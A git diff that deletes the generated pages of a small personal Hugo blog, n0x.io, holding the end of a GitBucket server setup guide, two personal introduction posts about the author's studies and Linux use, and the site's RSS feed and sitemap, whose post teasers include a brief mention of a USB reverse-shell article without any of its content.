Now we download the latest version of BitBucket (in my case 4.32.0) from GitHub to our local home.

-
cd ~
-wget https://github.com/gitbucket/gitbucket/releases/download/4.32.0/gitbucket.war
-
-

- Running GitBucket - - - -

-

That is pretty much it. Now we can run GitBucket.war for the first time. There are multiple parameters you can specify (See the official installation guide) but for now we stick with just specifying the port we want GitBucket to run on initially

-
java -jar gitbucket.war --port=8080
-
-

If you have a firewall set up like I do, you of course need to open up the port you specified. For example if you use iptables:

-
sudo iptables -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-
- -
- - -
- - - - - - -
-
- - -
- -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/posts/helloworld/index.html b/public/posts/helloworld/index.html deleted file mode 100644 index d0bb3d6..0000000 --- a/public/posts/helloworld/index.html +++ /dev/null @@ -1,242 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - HelloWorld · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-
-
-

- - HelloWorld - -

-
- -
- -
- -

- Hello World! - - - -

-

Hello there and welcome on n0x.io!

-

I’m _N0x. I’m 20 years old and “Fachinformatiker für Anwendungsentwicklung”. -I live in germany and Love tinkering with PCs and Software.

-

Thanks for stopping by ;)

- -
- - -
- - - - - - -
-
- - -
- -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/posts/helloworldagain/index.html b/public/posts/helloworldagain/index.html deleted file mode 100644 index 5144f2c..0000000 --- a/public/posts/helloworldagain/index.html +++ /dev/null @@ -1,265 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Hello World! Again! · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-
-
-

- - Hello World! Again! - -

-
- -
- -
- -

- Hello World! Again! - - - -

-

Hey there! It’s me again.

-

It has been some time since I wrote a new article in here so I thought I’d state an update on me. In my first post I talked a little about me. By now some time went by and some things have changed - not that I wrote much about me to begin with.

-

- From full time job to becoming a student - - - -

-

I’m now 23 years old and just started my 4th semester at university after deciding that I wanted to study something computer science related. After finishing my apprenticeship in 2018 I worked as a software developer for little over a year. In August 2019 I started my dual study in Software Technology (B.Sc.). A dual study is a studying model here in Germany that lets you go to university full time during the semester, but you are still hired and paid by a company. Between semesters you have no real semester break as you go to work full time at your partnering company. This is to collect as much real-life experience as possible during the study. During these phases or working - could translate as “practical phases” - you work on a project at your company for what you need to write a documentation. This documentation in return will be evaluated by the University and credit points awarded accordingly. Oh and all classes are mandatory and you can only choose some of them. The classes at university are quite small with about 25 people max. This means the whole feeling of university is more closely to that of going to school here in Germany - for better or worse. But it means you actually have a face in university and that networking between students and professors and other lecturers is quite easy.

-

As you can see the whole dual study thing is a very interwoven mesh between theory - in form of what is thought at University - and practice - in form of a company you work for. I think the concept is quite neat even if it means you don’t have the “luxurious life” or a regular university student. Free time is rare but well worth the effort and I can only recommend this model to anyone who wants to educate themselves while getting some hands-on-experiance!

-

- Linux - bane of my existence - - - -

-

Ah Linux. My love. My hated enemy. I feel like the relationship with a lot of people towards Linux is a sort of love-hate-relationship. There are times where I spend hours digging through config files, compiling, changing and tinkering just to get the smallest, tiniest change done. But damn does it feel good once you take control of things and understand how things work and interact with each other. Truly rewarding and so many things to learn! -In the beginning of 2021 I decided to finally cut my ties with windoot and fully switch to Linux. I had been running Linux on my servers and laptop for some time now and had played around with all the fun Linux things. My current config is build on DWM and Arch Linux and I’ve been enjoying it greatly. I switched to Linux on my desktop system as well after noticing that I barely played any games on it anymore. And to my surprise that went fairly well and I haven’t felt the need to go back to Windows ever since. I’m still using it at work but not much I can do about that. Gaming works fairly well on Linux and I even got games like Battle Field 4 to run - with anticheat! I don’t think it’s something I can recommend to a heavy gamer but for simple browsing and such Linux seems to come along nicely - and for professionals around the computer science field even more ;)

-

- Wörk wörk wörk - - - -

-

Combining both of the above topics is my current place of work. I’ve developed quite the interest in tinkering with Linux and tweaking it and it translates surprisingly well to my daily work - if I’m not at university of course. I’m now responsible for creating and maintaining firmware build on the popular embedded systems Linux Yocto. I’m also tasked with some security aspects regarding development at work buuuut of course I’m not spilling anything of that on here. The symbiosis of my hobbies and my work is fascinating. I can basically deploy the skills I learned athome at my workplace and in return learn new stuff there to use at home. A non-vicious vicious circle if you want. And that makes me really love my workplace and the work I do even if I’m just a student. -And while I’m rambling on here I have to say that it’s a little sad to see how many people are not happy at their workplace or the work they do. I can only recommend to every single person out there to go and try to find a job they like. It’s such a valuable thing to have in life - or maybe that’s just my inner German coming through. But oh well.

-

So much for a little update…

- -
- - -
- - - - - - -
-
- - -
- -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/posts/index.html b/public/posts/index.html deleted file mode 100644 index 05df1b1..0000000 --- a/public/posts/index.html +++ /dev/null @@ -1,209 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - Posts · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-

- - Posts - -

- - - - - - - - - - -
- -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/posts/index.xml b/public/posts/index.xml deleted file mode 100644 index 071cc24..0000000 --- a/public/posts/index.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - - Posts on n0x.io - https://n0x.io/posts/ - Recent content in Posts on n0x.io - Hugo -- gohugo.io - de - Wed, 26 May 2021 11:14:07 +0200 - - Hello World! Again! - https://n0x.io/posts/helloworldagain/ - Wed, 26 May 2021 11:14:07 +0200 - - https://n0x.io/posts/helloworldagain/ - Hello World! Again! Hey there! It’s me again. -It has been some time since I wrote a new article in here so I thought I’d state an update on me. In my first post I talked a little about me. By now some time went by and some things have changed - not that I wrote much about me to begin with. -From full time job to becoming a student I’m now 23 years old and just started my 4th semester at university after deciding that I wanted to study something computer science related. - - - - Git in minutes - https://n0x.io/posts/gitbucket/ - Thu, 02 Jul 2020 00:00:00 +0200 - - https://n0x.io/posts/gitbucket/ - A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I discovered online. -For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs. - - - - Digispark Reverse-Shell - https://n0x.io/posts/digispark_reverseshell/ - Sat, 20 Jan 2018 17:03:46 +0100 - - https://n0x.io/posts/digispark_reverseshell/ - Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. - - - - HelloWorld - https://n0x.io/posts/helloworld/ - Mon, 08 Jan 2018 20:35:40 +0100 - - https://n0x.io/posts/helloworld/ - Hello World! Hello there and welcome on n0x.io! -I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software. -Thanks for stopping by ;) - - - - diff --git a/public/posts/page/1/index.html b/public/posts/page/1/index.html deleted file mode 100644 index e2982ab..0000000 --- a/public/posts/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://n0x.io/posts/ \ No newline at end of file diff --git a/public/sitemap.xml b/public/sitemap.xml deleted file mode 100644 index f9005cb..0000000 --- a/public/sitemap.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - https://n0x.io/authors/_n0x/ - 2021-05-26T11:14:07+02:00 - - https://n0x.io/authors/ - 2021-05-26T11:14:07+02:00 - - https://n0x.io/posts/helloworldagain/ - 2021-05-26T11:14:07+02:00 - - https://n0x.io/ - 2021-05-26T11:14:07+02:00 - - https://n0x.io/posts/ - 2021-05-26T11:14:07+02:00 - - https://n0x.io/posts/gitbucket/ - 2020-07-02T00:00:00+02:00 - - https://n0x.io/posts/digispark_reverseshell/ - 2018-01-20T17:03:46+01:00 - - https://n0x.io/posts/helloworld/ - 2018-01-08T20:35:40+01:00 - - https://n0x.io/about/ - - diff --git a/public/tags/index.html b/public/tags/index.html deleted file mode 100644 index 93723a1..0000000 --- a/public/tags/index.html +++ /dev/null @@ -1,181 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - Tags · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-

- Tags -

- -
    - - -
-
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/tags/index.xml b/public/tags/index.xml deleted file mode 100644 index 54ba77f..0000000 --- a/public/tags/index.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Tags on n0x.io - https://n0x.io/tags/ - Recent content in Tags on n0x.io - Hugo -- gohugo.io - de - -